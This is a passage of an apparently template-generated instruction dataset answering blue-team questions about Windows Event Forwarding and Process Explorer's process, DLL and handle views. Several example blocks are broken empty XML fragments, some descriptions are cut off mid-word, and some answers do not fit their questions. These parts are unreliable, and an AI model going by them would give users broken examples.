aggregation.\n\nPlatform: windows\n\nCommon uses:\n- Centralize log collection\n- Enable enterprise monitoring\n- Support SIEM ingestion\n- Enable threat hunting", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-forwarding-wef", "license": "original", "retrieved_at": "2025-12-18T00:11:32.018790Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.018813Z", "updated_at": "2025-12-18T00:11:32.018813Z"} +{"id": "trtp-b5d0e85b6506", "instruction": "Show me the basic syntax for Windows Event Log.", "output": "Syntax for Windows Event Log:\n\nwecutil qc # Quick config\nwecutil cs subscription.xml # Create subscription\n\nWindows Event Forwarding (WEF) collects events from multiple endpoints to a central collector. Uses subscriptions to define which events to forward. Essential for enterprise log aggregation.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-forwarding-wef", "license": "original", "retrieved_at": "2025-12-18T00:11:32.018790Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.018826Z", "updated_at": "2025-12-18T00:11:32.018826Z"} +{"id": "trtp-551dcd78ad77", "instruction": "Show me an example of Windows Event Log in action.", "output": "Example of Event Forwarding (WEF):\n\n```\n\n Security-Events\n \n ]]>\n \n\n```\n\nInterpretation: Events appear in ForwardedEvents log on collector", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-forwarding-wef", "license": "original", "retrieved_at": "2025-12-18T00:11:32.018790Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.018838Z", "updated_at": "2025-12-18T00:11:32.018838Z"} +{"id": "trtp-0119067ebebc", "instruction": "Provide an example of using Windows Event Log.", "output": "Here is a practical example of Windows Event Log:\n\n```\n\n Security-Events\n \n ]]>\n \n\n```\n\nWindows Event Forwarding (WEF) collects events from multiple endpoints to a central collector. Uses subscriptions to define which events to forward. Essential for enterprise log aggregation.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-forwarding-wef", "license": "original", "retrieved_at": "2025-12-18T00:11:32.018790Z", "transform_template": "example_detailed_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.018849Z", "updated_at": "2025-12-18T00:11:32.018849Z"} +{"id": "trtp-fb400b0418d2", "instruction": "What security tasks can I accomplish with Windows Event Log?", "output": "Use cases for Windows Event Log:\n\n- Centralize log collection\n- Enable enterprise monitoring\n- Support SIEM ingestion\n- Enable threat hunting\n\nWindows Event Forwarding (WEF) collects events from multiple endpoints to a central collector. Uses subscriptions to define which events to forward. Essential for enterprise log aggregation.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-forwarding-wef", "license": "original", "retrieved_at": "2025-12-18T00:11:32.018790Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.018861Z", "updated_at": "2025-12-18T00:11:32.018861Z"} +{"id": "trtp-0c0c5503a9b6", "instruction": "Explain the output of Windows Event Log.", "output": "Interpreting Windows Event Log output:\n\nEvents appear in ForwardedEvents log on collector\n\nExample output:\n```\n\n Security-Events\n \n ]]>\n \n\n```", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-forwarding-wef", "license": "original", "retrieved_at": "2025-12-18T00:11:32.018790Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.018872Z", "updated_at": "2025-12-18T00:11:32.018872Z"} +{"id": "trtp-6eef1a06e070", "instruction": "What are common tips for Windows Event Log?", "output": "Tips for using Windows Event Log:\n\n- Requires WinRM enabled on sources\n- Test with small subscription first\n- Monitor collector performance\n\nUseful for: Centralize log collection, Enable enterprise monitoring, Support SIEM ingestion", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-forwarding-wef", "license": "original", "retrieved_at": "2025-12-18T00:11:32.018790Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.018884Z", "updated_at": "2025-12-18T00:11:32.018884Z"} +{"id": "trtp-b261259cf68b", "instruction": "How can Windows Event Log help identify malicious activity?", "output": "Using Windows Event Log for threat detection:\n\nWindows Event Forwarding (WEF) collects events from multiple endpoints to a central collector. Uses subscriptions to define which events to forward. Essential for enterprise log aggregation.\n\nExample:\n```\n\n Security-Events\n \n ]]>\n \n\n```\n\nTips:\n- Requires WinRM enabled on sources\n- Test with small subscription first", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-forwarding-wef", "license": "original", "retrieved_at": "2025-12-18T00:11:32.018790Z", "transform_template": "detection_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.018897Z", "updated_at": "2025-12-18T00:11:32.018897Z"} +{"id": "trtp-1d84159e558f", "instruction": "What evidence can Windows Event Log help uncover?", "output": "Forensic analysis with Windows Event Log:\n\nWindows Event Forwarding (WEF) collects events from multiple endpoints to a central collector. Uses subscriptions to define which events to forward. Essential for enterprise log aggregation.\n\nForensic applications:\n- Centralize log collection\n- Enable enterprise monitoring\n- Support SIEM ingestion\n\nWhat to look for: Events appear in ForwardedEvents log on collector", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-forwarding-wef", "license": "original", "retrieved_at": "2025-12-18T00:11:32.018790Z", "transform_template": "forensics_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.018910Z", "updated_at": "2025-12-18T00:11:32.018910Z"} +{"id": "trtp-6faccdebee1e", "instruction": "What is the typical workflow for using Windows Event Log?", "output": "Workflow for Event Forwarding (WEF):\n\n1. Understand the context: Windows Event Forwarding (WEF) collects events from multiple endpoints to a central collector. Uses subscriptions to define which events to forward. Essential for enterprise log aggregation.\n\n2. Apply the tool:\n```\n\n Security-Events\n \n ]]>\n \n\n```\n\n3. Common scenarios: Centralize log collection, Enable enterprise monitoring, Support SIEM ingestion\n\n4. Best practices:\n - Requires WinRM enabled on sources\n - Test with small subscription first", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-forwarding-wef", "license": "original", "retrieved_at": "2025-12-18T00:11:32.018790Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.018925Z", "updated_at": "2025-12-18T00:11:32.018925Z"} +{"id": "trtp-527bafd65b58", "instruction": "What makes Windows Event Log useful for this task?", "output": "Advantages of Windows Event Log:\n\nWindows Event Forwarding (WEF) collects events from multiple endpoints to a central collector. Uses subscriptions to define which events to forward. Essential for enterprise log aggregation.\n\nBest suited for:\n- Centralize log collection\n- Enable enterprise monitoring\n- Support SIEM ingestion\n- Enable threat hunting\n\nThis is particularly valuable for Windows endpoint investigations.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-forwarding-wef", "license": "original", "retrieved_at": "2025-12-18T00:11:32.018790Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.018939Z", "updated_at": "2025-12-18T00:11:32.018939Z"} +{"id": "trtp-f74c48b642a2", "instruction": "How does Windows Event Log integrate with other security tools?", "output": "Integration points for Windows Event Log:\n\nWindows Event Forwarding (WEF) collects events from multiple endpoints to a central collector. Uses subscriptions to define which events to forward. Essential for enterprise log aggregation.\n\nIntegration suggestions:\n- Export findings to SIEM for correlation\n- Feed indicators to threat intelligence platforms\n- Combine with memory analysis for deeper investigation\n- Use timeline data with log analysis tools", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-forwarding-wef", "license": "original", "retrieved_at": "2025-12-18T00:11:32.018790Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.018953Z", "updated_at": "2025-12-18T00:11:32.018953Z"} +{"id": "trtp-053880465245", "instruction": "What do I need to know about Process Explorer?", "output": "Process Explorer Overview\n\nProcess Explorer is an advanced task manager showing detailed process information including handles, DLLs, parent relationships, and resource usage. Essential for malware analysis and system troubleshooting.\n\nPlatform: windows\n\nCommon uses:\n- Identify malicious processes\n- View loaded DLLs\n- Check digital signatures\n- Analyze process relationships", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-process-explorer-overview", "license": "original", "retrieved_at": "2025-12-18T00:11:32.019178Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.019201Z", "updated_at": "2025-12-18T00:11:32.019201Z"} +{"id": "trtp-66b69e8e4c87", "instruction": "Show me the basic syntax for Process Explorer.", "output": "Syntax for Process Explorer:\n\nprocexp64.exe\n\nProcess Explorer is an advanced task manager showing detailed process information including handles, DLLs, parent relationships, and resource usage. Essential for malware analysis and system troubleshooting.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-process-explorer-overview", "license": "original", "retrieved_at": "2025-12-18T00:11:32.019178Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.019215Z", "updated_at": "2025-12-18T00:11:32.019215Z"} +{"id": "trtp-386ee531ea9c", "instruction": "Show me an example of Process Explorer in action.", "output": "Example of Process Explorer Overview:\n\n```\n# View process tree\n# Double-click process for properties\n# Lower pane: View > Lower Pane View > DLLs/Handles\n# Verify signatures: Options > Verify Image Signatures\n```\n\nInterpretation: Red = process exiting, Green = new process, Purple = packed/compressed, Pink = services", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-process-explorer-overview", "license": "original", "retrieved_at": "2025-12-18T00:11:32.019178Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.019226Z", "updated_at": "2025-12-18T00:11:32.019226Z"} +{"id": "trtp-5f5f6c59028a", "instruction": "What security tasks can I accomplish with Process Explorer?", "output": "Use cases for Process Explorer:\n\n- Identify malicious processes\n- View loaded DLLs\n- Check digital signatures\n- Analyze process relationships\n\nProcess Explorer is an advanced task manager showing detailed process information including handles, DLLs, parent relationships, and resource usage. Essential for malware analysis and system troublesh", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-process-explorer-overview", "license": "original", "retrieved_at": "2025-12-18T00:11:32.019178Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.019239Z", "updated_at": "2025-12-18T00:11:32.019239Z"} +{"id": "trtp-8218a4494fb4", "instruction": "Explain the output of Process Explorer.", "output": "Interpreting Process Explorer output:\n\nRed = process exiting, Green = new process, Purple = packed/compressed, Pink = services\n\nExample output:\n```\n# View process tree\n# Double-click process for properties\n# Lower pane: View > Lower Pane View > DLLs/Handles\n# Verify signatures: Options > Verify Image Signatures\n```", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-process-explorer-overview", "license": "original", "retrieved_at": "2025-12-18T00:11:32.019178Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.019250Z", "updated_at": "2025-12-18T00:11:32.019250Z"} +{"id": "trtp-0c5244643373", "instruction": "What are common tips for Process Explorer?", "output": "Tips for using Process Explorer:\n\n- Enable VirusTotal integration\n- Check for unsigned executables\n- Look for processes without parent (orphaned)\n\nUseful for: Identify malicious processes, View loaded DLLs, Check digital signatures", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-process-explorer-overview", "license": "original", "retrieved_at": "2025-12-18T00:11:32.019178Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.019263Z", "updated_at": "2025-12-18T00:11:32.019263Z"} +{"id": "trtp-6125fe226d37", "instruction": "What indicators does Process Explorer help identify?", "output": "Using Process Explorer for threat detection:\n\nProcess Explorer is an advanced task manager showing detailed process information including handles, DLLs, parent relationships, and resource usage. Essential for malware analysis and system troubleshooting.\n\nExample:\n```\n# View process tree\n# Double-click process for properties\n# Lower pane: View > Lower Pane View > DLLs/Handles\n# Verify signatures: Options > Verify Image Signatures\n```\n\nTips:\n- Enable VirusTotal integration\n- Check for unsigned executables", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-process-explorer-overview", "license": "original", "retrieved_at": "2025-12-18T00:11:32.019178Z", "transform_template": "detection_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.019277Z", "updated_at": "2025-12-18T00:11:32.019277Z"} +{"id": "trtp-96fbfee606b8", "instruction": "How do I use Process Explorer for forensic analysis?", "output": "Forensic analysis with Process Explorer:\n\nProcess Explorer is an advanced task manager showing detailed process information including handles, DLLs, parent relationships, and resource usage. Essential for malware analysis and system troubleshooting.\n\nForensic applications:\n- Identify malicious processes\n- View loaded DLLs\n- Check digital signatures\n\nWhat to look for: Red = process exiting, Green = new process, Purple = packed/compressed, Pink = services", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-process-explorer-overview", "license": "original", "retrieved_at": "2025-12-18T00:11:32.019178Z", "transform_template": "forensics_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.019289Z", "updated_at": "2025-12-18T00:11:32.019289Z"} +{"id": "trtp-d15e9f5c5b92", "instruction": "How do I incorporate Process Explorer into my security workflow?", "output": "Workflow for Process Explorer Overview:\n\n1. Understand the context: Process Explorer is an advanced task manager showing detailed process information including handles, DLLs, parent relationships, and resource usage. Essential for malware analysis and system troublesh\n\n2. Apply the tool:\n```\n# View process tree\n# Double-click process for properties\n# Lower pane: View > Lower Pane View > DLLs/Handles\n# Verify signatures: Options > Verify Image Signatures\n```\n\n3. Common scenarios: Identify malicious processes, View loaded DLLs, Check digital signatures\n\n4. Best practices:\n - Enable VirusTotal integration\n - Check for unsigned executables", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-process-explorer-overview", "license": "original", "retrieved_at": "2025-12-18T00:11:32.019178Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.019304Z", "updated_at": "2025-12-18T00:11:32.019304Z"} +{"id": "trtp-8c3026c32f06", "instruction": "What makes Process Explorer useful for this task?", "output": "Advantages of Process Explorer:\n\nProcess Explorer is an advanced task manager showing detailed process information including handles, DLLs, parent relationships, and resource usage. Essential for malware analysis and system troubleshooting.\n\nBest suited for:\n- Identify malicious processes\n- View loaded DLLs\n- Check digital signatures\n- Analyze process relationships\n\nThis is particularly valuable for Windows endpoint investigations.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-process-explorer-overview", "license": "original", "retrieved_at": "2025-12-18T00:11:32.019178Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.019318Z", "updated_at": "2025-12-18T00:11:32.019318Z"} +{"id": "trtp-7c577575d895", "instruction": "How does Process Explorer integrate with other security tools?", "output": "Integration points for Process Explorer:\n\nProcess Explorer is an advanced task manager showing detailed process information including handles, DLLs, parent relationships, and resource usage. Essential for malware analysis and system troublesh\n\nIntegration suggestions:\n- Export findings to SIEM for correlation\n- Feed indicators to threat intelligence platforms\n- Combine with memory analysis for deeper investigation\n- Use timeline data with log analysis tools", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-process-explorer-overview", "license": "original", "retrieved_at": "2025-12-18T00:11:32.019178Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.019332Z", "updated_at": "2025-12-18T00:11:32.019332Z"} +{"id": "trtp-dbf1bf0489b1", "instruction": "What do I need to know about Process Explorer?", "output": "Process Explorer DLL View\n\nProcess Explorer's DLL view shows all modules loaded into a process. Useful for detecting DLL injection, sideloading, and identifying loaded malware components.\n\nPlatform: windows\n\nCommon uses:\n- Detect DLL injection\n- Find sideloaded DLLs\n- Identify unsigned modules\n- Analyze malware dependencies", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-process-explorer-dll-view", "license": "original", "retrieved_at": "2025-12-18T00:11:32.019522Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.019544Z", "updated_at": "2025-12-18T00:11:32.019544Z"} +{"id": "trtp-487820d2cb40", "instruction": "How do I use Process Explorer?", "output": "Syntax for Process Explorer:\n\nView > Lower Pane View > DLLs\n\nProcess Explorer's DLL view shows all modules loaded into a process. Useful for detecting DLL injection, sideloading, and identifying loaded malware components.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-process-explorer-dll-view", "license": "original", "retrieved_at": "2025-12-18T00:11:32.019522Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.019558Z", "updated_at": "2025-12-18T00:11:32.019558Z"} +{"id": "trtp-3e77c1e2c2ef", "instruction": "Give me a practical example of Process Explorer.", "output": "Example of Process Explorer DLL View:\n\n```\n# Select process\n# Lower pane shows loaded DLLs\n# Columns: Base, Size, Path, Company\n# Look for DLLs in unusual locations\n```\n\nInterpretation: Check Company name, Path location, and whether module is signed", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-process-explorer-dll-view", "license": "original", "retrieved_at": "2025-12-18T00:11:32.019522Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.019570Z", "updated_at": "2025-12-18T00:11:32.019570Z"} +{"id": "trtp-a1a4d8be987a", "instruction": "In what scenarios is Process Explorer useful?", "output": "Use cases for Process Explorer:\n\n- Detect DLL injection\n- Find sideloaded DLLs\n- Identify unsigned modules\n- Analyze malware dependencies\n\nProcess Explorer's DLL view shows all modules loaded into a process. Useful for detecting DLL injection, sideloading, and identifying loaded malware components.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-process-explorer-dll-view", "license": "original", "retrieved_at": "2025-12-18T00:11:32.019522Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.019582Z", "updated_at": "2025-12-18T00:11:32.019582Z"} +{"id": "trtp-ac5a5f2f7d83", "instruction": "How do I read Process Explorer output?", "output": "Interpreting Process Explorer output:\n\nCheck Company name, Path location, and whether module is signed\n\nExample output:\n```\n# Select process\n# Lower pane shows loaded DLLs\n# Columns: Base, Size, Path, Company\n# Look for DLLs in unusual locations\n```", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-process-explorer-dll-view", "license": "original", "retrieved_at": "2025-12-18T00:11:32.019522Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.019593Z", "updated_at": "2025-12-18T00:11:32.019593Z"} +{"id": "trtp-f48a4b2a92e2", "instruction": "What are some tips for using Process Explorer?", "output": "Tips for using Process Explorer:\n\n- DLLs in temp/user folders are suspicious\n- Watch for missing company info\n- Compare against known-good baseline\n\nUseful for: Detect DLL injection, Find sideloaded DLLs, Identify unsigned modules", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-process-explorer-dll-view", "license": "original", "retrieved_at": "2025-12-18T00:11:32.019522Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.019605Z", "updated_at": "2025-12-18T00:11:32.019605Z"} +{"id": "trtp-ab7558c15f14", "instruction": "What indicators does Process Explorer help identify?", "output": "Using Process Explorer for threat detection:\n\nProcess Explorer's DLL view shows all modules loaded into a process. Useful for detecting DLL injection, sideloading, and identifying loaded malware components.\n\nExample:\n```\n# Select process\n# Lower pane shows loaded DLLs\n# Columns: Base, Size, Path, Company\n# Look for DLLs in unusual locations\n```\n\nTips:\n- DLLs in temp/user folders are suspicious\n- Watch for missing company info", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-process-explorer-dll-view", "license": "original", "retrieved_at": "2025-12-18T00:11:32.019522Z", "transform_template": "detection_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.019617Z", "updated_at": "2025-12-18T00:11:32.019617Z"} +{"id": "trtp-c6cb156d7b8c", "instruction": "What artifacts does Process Explorer analyze?", "output": "Forensic analysis with Process Explorer:\n\nProcess Explorer's DLL view shows all modules loaded into a process. Useful for detecting DLL injection, sideloading, and identifying loaded malware components.\n\nForensic applications:\n- Detect DLL injection\n- Find sideloaded DLLs\n- Identify unsigned modules\n\nWhat to look for: Check Company name, Path location, and whether module is signed", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-process-explorer-dll-view", "license": "original", "retrieved_at": "2025-12-18T00:11:32.019522Z", "transform_template": "forensics_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.019630Z", "updated_at": "2025-12-18T00:11:32.019630Z"} +{"id": "trtp-c079e9d18a97", "instruction": "What's the process for analyzing data with Process Explorer?", "output": "Workflow for Process Explorer DLL View:\n\n1. Understand the context: Process Explorer's DLL view shows all modules loaded into a process. Useful for detecting DLL injection, sideloading, and identifying loaded malware components.\n\n2. Apply the tool:\n```\n# Select process\n# Lower pane shows loaded DLLs\n# Columns: Base, Size, Path, Company\n# Look for DLLs in unusual locations\n```\n\n3. Common scenarios: Detect DLL injection, Find sideloaded DLLs, Identify unsigned modules\n\n4. Best practices:\n - DLLs in temp/user folders are suspicious\n - Watch for missing company info", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-process-explorer-dll-view", "license": "original", "retrieved_at": "2025-12-18T00:11:32.019522Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.019644Z", "updated_at": "2025-12-18T00:11:32.019644Z"} +{"id": "trtp-4591774eca76", "instruction": "What makes Process Explorer useful for this task?", "output": "Advantages of Process Explorer:\n\nProcess Explorer's DLL view shows all modules loaded into a process. Useful for detecting DLL injection, sideloading, and identifying loaded malware components.\n\nBest suited for:\n- Detect DLL injection\n- Find sideloaded DLLs\n- Identify unsigned modules\n- Analyze malware dependencies\n\nThis is particularly valuable for Windows endpoint investigations.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-process-explorer-dll-view", "license": "original", "retrieved_at": "2025-12-18T00:11:32.019522Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.019657Z", "updated_at": "2025-12-18T00:11:32.019657Z"} +{"id": "trtp-bb82212ca22c", "instruction": "Can Process Explorer be combined with other analysis methods?", "output": "Integration points for Process Explorer:\n\nProcess Explorer's DLL view shows all modules loaded into a process. Useful for detecting DLL injection, sideloading, and identifying loaded malware components.\n\nIntegration suggestions:\n- Export findings to SIEM for correlation\n- Feed indicators to threat intelligence platforms\n- Combine with memory analysis for deeper investigation\n- Use timeline data with log analysis tools", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-process-explorer-dll-view", "license": "original", "retrieved_at": "2025-12-18T00:11:32.019522Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.019672Z", "updated_at": "2025-12-18T00:11:32.019672Z"} +{"id": "trtp-6df593e93207", "instruction": "What do I need to know about Process Explorer?", "output": "Process Explorer Handle View\n\nProcess Explorer's handle view shows all open handles (files, registry keys, mutexes, events) for a process. Useful for understanding what resources a process is accessing.\n\nPlatform: windows\n\nCommon uses:\n- Find open files\n- Identify registry access\n- Detect file locking\n- Find malware mutexes", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-process-explorer-handle-view", "license": "original", "retrieved_at": "2025-12-18T00:11:32.019920Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.019942Z", "updated_at": "2025-12-18T00:11:32.019942Z"} +{"id": "trtp-0448931f54ab", "instruction": "How do I use Process Explorer?", "output": "Syntax for Process Explorer:\n\nView > Lower Pane View > Handles\n\nProcess Explorer's handle view shows all open handles (files, registry keys, mutexes, events) for a process. Useful for understanding what resources a process is accessing.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-process-explorer-handle-view", "license": "original", "retrieved_at": "2025-12-18T00:11:32.019920Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.019966Z", "updated_at": "2025-12-18T00:11:32.019966Z"} +{"id": "trtp-72c1128082a5", "instruction": "Demonstrate Process Explorer Handle View with an example.", "output": "Example of Process Explorer Handle View:\n\n```\n# Select process\n# Lower pane shows handles\n# Types: File, Key, Section, Mutant, Event\n# Search: Find > Find Handle or DLL (Ctrl+F)\n```\n\nInterpretation: Type=handle type, Name=resource path/identifier", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-process-explorer-handle-view", "license": "original", "retrieved_at": "2025-12-18T00:11:32.019920Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.019978Z", "updated_at": "2025-12-18T00:11:32.019978Z"} +{"id": "trtp-e9f5f010bfd2", "instruction": "What are the use cases for Process Explorer?", "output": "Use cases for Process Explorer:\n\n- Find open files\n- Identify registry access\n- Detect file locking\n- Find malware mutexes\n\nProcess Explorer's handle view shows all open handles (files, registry keys, mutexes, events) for a process. Useful for understanding what resources a process is accessing.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-process-explorer-handle-view", "license": "original", "retrieved_at": "2025-12-18T00:11:32.019920Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.019996Z", "updated_at": "2025-12-18T00:11:32.019996Z"} +{"id": "trtp-32c101b2d37a", 